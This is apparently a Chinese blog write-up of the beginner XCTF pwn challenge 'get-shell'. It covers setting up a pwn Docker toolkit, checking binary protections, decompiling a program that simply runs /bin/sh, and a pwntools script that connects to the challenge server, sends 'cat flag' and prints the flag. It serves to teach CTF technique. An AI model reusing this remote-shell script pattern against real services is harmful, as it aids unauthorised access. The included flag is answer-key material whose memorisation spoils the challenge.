get-shell [XCTF-PWN]CTF writeup系列1



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因为做vulhub靶场Serial2,在最后一步用到了rop技术,所以就顺便把自己学习pwn的过程做下记录。

今天做的ctf题目是pwn新手训练场的第一题get-shell。



首先我们点击获取在线场景



然后我们就可以看到,这个题目给我们提供了一个服务器端口,我们可以通过telnet连接这个端口

mac126 — telnet 111.198.29.45 52776 — 80×24
 ~ — telnet 111.198.29.45 52776 — +
 Last login: Thu Dec 19 14:26:02 on console
 You have new mail.
 mac126deMacBook-Air:~ oyf\$ telnet 111.198.29.45 52776
 Trying 111.198.29.45...
 Connected to 111.198.29.45.
 Escape character is '^]'.

我们可以看到 这个端口是可以直接连接的,这道题目,因为没有回显文件,所以就看不到什么反馈了。

我们先下载附件,看看附件是什么情况先

这里先说下我的配置环境:

操作系统是Mac OSX,我安装了docker

	About Docker Desktop				
	docker c	Jes	ktop ^{unity}		
Version				le la	
Channe	l stable			in the	
- ∿ - En	gine: 19.03.5		Notary: 0.6.1	e	
🗹 Co	mpose: 1.24.1	22	Credential Helper: 0.6.3		
🙆 Kul	bernetes: v1.14.8		Machine: 0.16.2		
	Release Notes		Acknowledgments	License agreement	
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然后在docker上面部署了skysider/pwndocker,基本上所有需要的工具在这个docker上都已经安装好了。

先把docker启动起来

```
mac126deMacBook-Air:pwn oyf$ sh ./startpwn.sh
4d80cc020b4cb2cd8562055f39ec6e269196531acfa4466516c1329476371312
mac126deMacBook-Air:pwn oyf$ cat startpwn.sh
#!/bin/bash
docker run -d --rm -h mypwn --name mypwn -v $(pwd):/ctf/work -p 23946:23946 --cap-add=SYS_PTRACE skysider/p
mac126deMacBook-Air:pwn oyf$ docker exec -it mypwn /bin/bash
root@mypwn:/ctf/work#
```

先用docker中提供的linux保护机制检查工具checksec进行保护检查

RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

上面对应的保护机制的解释可以参考:

DEP(NX)不允许执行栈上的数据 RELRO 这个介绍有点长分为两种: 1.Partial RELRO GOT表仍然可写 2.Full RELRO GOT表只读 ASLR(PIE 随机化系统调用地址 stack 栈溢出保护

然后我们打开ida进行题目的反编译,分析一下代码



反编译成c语言如下:

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    puts("OK,this time we will get a shell.");
    system("/bin/sh");
    return 0;
}
```

我们可以看到,这个程序直接就给出了shell,超级简单一道题目!

我们还是用python写个脚本,因为后面会一直都要用到pwntools

先在本地执行一下以下脚本

```
#!python
#!/usr/bin/env python
# coding=utf-8
from pwn import *
p = process('./7e7c72f773194643bd441791c182884e')
#p = remote('111.198.29.45',52776)
p.sendlineafter('OK,this time we will get a shell.', 'cat flag')
p.interactive()
```

结果如下:

```
root@mypwn:/ctf/work/python# ls
7e7c72f773194643bd441791c182884e getshell.py
root@mypwn:/ctf/work/python# python getshell.py
[+] Starting local process './7e7c72f773194643bd441791c182884e': pid 56
[*] Switching to interactive mode
cat: flag: No such file or directory
$ ls
7e7c72f773194643bd441791c182884e getshell.py
$
```

我们可以看到没有问题,获得了shell,那么我们修改一下代码,在服务器上直接运行

```
#!python
#!/usr/bin/env python
# coding=utf-8
from pwn import *
# p = process('./7e7c72f773194643bd441791c182884e')
p = remote('111.198.29.45',52776)
p.sendlineafter('OK,this time we will get a shell.', 'cat flag')
p.interactive()
```

结果如下:

```
root@mypwn:/ctf/work/python# python getshell.py
[+] Opening connection to 111.198.29.45 on port 52776: Done
Traceback (most recent call last):
  File "getshell.py", line 10, in <module>
    p.sendlineafter('OK,this time we will get a shell.', 'cat flag')
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 747, in sendlineafter
    res = self.recvuntil(delim, timeout)
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 305, in recvuntil
    res = self.recv(timeout=self.timeout)
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 78, in recv
   return self._recv(numb, timeout) or ''
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 156, in _recv
   if not self.buffer and not self._fillbuffer(timeout):
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 126, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/sock.py", line 37, in recv_raw
   data = self.sock.recv(numb, *a)
KeyboardInterrupt
[*] Closed connection to 111.198.29.45 port 52776
```

执行失败,我们发现服务器上的程序,没有任何返回值,和提供的程序不一样,那我们就再修改一下脚本

```
#!python
#!/usr/bin/env python
# coding=utf-8
from pwn import *
# p = process('./7e7c72f773194643bd441791c182884e')
p = remote('111.198.29.45',52776)
# p.sendlineafter('OK,this time we will get a shell.', 'cat flag')
p.sendline('cat flag')
p.interactive()
```

这次是不用等待直接发送命令,结果如下:

```
root@mypwn:/ctf/work/python# python getshell.py
[+] Opening connection to 111.198.29.45 on port 52776: Done
[*] Switching to interactive mode
cyberpeace{8c16e0eabfd8d8b21d64b0d2c5f3d1bf}
$
```

这就完成了,因为是第一篇,所以我写的比较仔细一些。

需要安装的工具

- 1. docker+pwndocker
- 2. ida
- 3. python编辑器(我用的是sublime)